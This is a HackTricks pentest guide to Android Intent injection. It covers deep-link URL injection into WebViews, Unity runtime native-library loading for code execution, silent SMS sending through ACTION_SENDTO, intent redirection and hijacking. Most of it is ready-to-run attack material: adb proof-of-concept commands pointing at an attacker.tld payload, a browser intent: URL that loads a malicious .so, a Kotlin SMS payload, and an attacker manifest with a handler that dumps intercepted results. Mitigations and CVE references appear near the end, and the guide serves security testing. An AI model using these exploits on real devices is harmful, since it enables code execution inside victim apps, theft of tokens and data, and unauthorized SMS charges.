Intent Injection
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:
- Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components.
- Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks.
Deep links → WebView sink (URL parameter injection)
If an app exposes a custom scheme deep link such as:
myscheme://com.example.app/web?url=<attacker_url>
and the receiving Activity forwards the url query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS executes inside the app’s WebView profile.
- If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed
@JavascriptInterfaceobjects, steal WebView cookies/local storage, and pivot.
See also:
Order-of-checks bug enabling JavaScript
A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.
What to look for in decompiled code:
- Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization).
- Calls to
getSettings().setJavaScriptEnabled(true)before the last host/path allowlist check. - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.
A dangerous, undocumented flag leads to native code execution during very early process initialization:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Why it works
- The Intent extra
unityis parsed into Unity runtime flags. - Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).
Conditions for exploitation
- The Unity entry Activity is exported (commonly true by default).
- For one-click remote via browser: the entry Activity also declares
android.intent.category.BROWSABLEso extras can be passed from anintent:URL.
Local exploitation (same device)
- Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under
/data/app/.../lib/<abi>/by setting in the attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Launch the victim’s Unity activity with the CLI pre-init flag in the
unityextra. Example ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.
Notes
- The exact
/data/app/...path varies across devices/installs. An attacker app can retrieve its own native lib dir at runtime viagetApplicationInfo().nativeLibraryDirand communicate it to the trigger. - The file need not end with
.soif it is a valid ELF –dlopen()cares about ELF headers, not extensions.
Remote one‑click via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
However, on modern Android the dynamic linker namespaces and SELinux block loading from many public paths (e.g., /sdcard/Download). You’ll see errors like:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution. This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.
Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)
Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger Intent.ACTION_SENDTO with sms:, smsto:, mms:, or mmsto: and cause an immediate send without a confirmation UI and without the SEND_SMS permission.
Key points
- Trigger: implicit
ACTION_SENDTO+ messaging URI scheme. - Data: set recipient in the URI, message text in the
"sms_body"extra. - Permissions: none (no
SEND_SMS), relies on the default SMS/MMS handler. - Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.
Minimal payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (no special permissions)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Attack surface expansion (Wear OS)
- Any component capable of launching activities can fire the same payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - If the default handler auto‑sends, abuse can be one‑tap or fully silent from background contexts depending on OEM policies.
Pentest checklist
- Resolve
ACTION_SENDTOon target to identify the default handler; verify whether it shows a compose UI or silently sends. - Exercise all four schemes (
sms:,smsto:,mms:,mmsto:) and extras (sms_body, optionallysubjectfor MMS) to check behaviour differences. - Consider charged destinations/premium‑rate numbers when testing on real devices.
Other classic Intent injection primitives
- startActivity/sendBroadcast using attacker-supplied
Intentextras that are later re-parsed (Intent.parseUri(...)) and executed. - Exported proxy components that forward Intents to non-exported sensitive components without permission checks.
Automating exported-component testing (Smali-driven ADB generation)
When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: decompile and scan Smali for calls like
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()to infer which extras and fields are consumed by each component. - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact
adb shell am .../cmd content ...command with correctly typed flags.
Install
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Usage
python apk-components-inspector.py target.apk
Example output
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras cheat sheet (type-aware flags)
- Strings:
--es key value| String array:--esa key v1,v2 - Integers:
--ei key 123| Int array:--eia key 1,2,3 - Booleans:
--ez key true|false - Longs:
--el key 1234567890 - Floats:
--ef key 1.23 - URIs (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Common flags:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro tips for Providers
- Use
adb shell cmd content query|insert|update|delete ...to hit ContentProviders without agents. - For SQLi probing, vary
--projectionand--where(aka selection) when the underlying provider is SQLite-backed.
Full-pipeline automation (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Helper script to parse and execute adb commands
import subprocess
def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands
for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")
Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.
Intent Redirection (CWE-926) – finding and exploiting
Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
startActivity(getIntent())startActivity(intent)whereintentcame from an extra likeredirect_intent/next_intent/pending_intentorIntent.parseUri(...).- Trusting
action/data/componentfields without checks; not verifying caller identity.
What to search in Smali/Java
- Uses of
getParcelableExtra("redirect_intent"),getParcelable("intent"),getIntent().getParcelableExtra(...). - Direct
startActivity(...),startService(...),sendBroadcast(...)on attacker-influenced Intents. - Lack of
getCallingPackage()/getCallingActivity()checks or custom permission gates.
ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exported Service that honors a
redirect_intentparcelable:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver that relays without validation:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Flags helpful for singleTask-style behavior
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Real-world examples (impact varies):
- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ system-level effects. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Threat model
- App A expects a sensitive result from App B using an implicit Intent (e.g., an OAuth redirect, a document picker result, an IMAGE_CAPTURE return, or a custom callback action).
- Attacker App C publishes an exported component with a matching
<intent-filter>for the sameaction/category/data. When B resolves the implicit Intent, the resolver may present a chooser; if the user picks C (or sets it as default), the payload is delivered to the attacker component instead of A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Handler skeleton:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Notes
- Match specificity matters (action + categories + data). The more specific C’s filter is to B’s outgoing Intent, the higher the chance it is shown or auto-selected.
- This also applies to deep links (
VIEW+BROWSABLE) when apps expect another app to handle a URL and return something back.
Pentest guidance
- Grep the target for
startActivity/startActivityForResult/registerForActivityResultcalls using non-explicit Intents. - Inspect Intents carrying tokens in
extras,clipData, orgetData()and see whether a third-party could register a compatible filter. - Recommend replacing implicit flows with explicit Intents (set
setPackage()/setComponent()), or requiring caller-permission/signed permissions on exported receivers/services.
Mitigations
- Prefer explicit Intents for sensitive flows (callbacks, tokens, auth results).
- When cross-app is necessary, add permission requirements to the receiving component and validate caller identity.
- Limit and tighten Intent filters to only what is strictly needed (scheme/host/path/MIME).
Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)
When you control the sender, add Intent.FLAG_DEBUG_LOG_RESOLUTION to an implicit Intent to make Android log how resolution happens and which component will be selected.
Example:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
What you’ll see in adb logcat is the resolution trace and the final component, e.g. com.android.camera2/com.android.camera.CaptureActivity.
CLI tip
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.
References
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

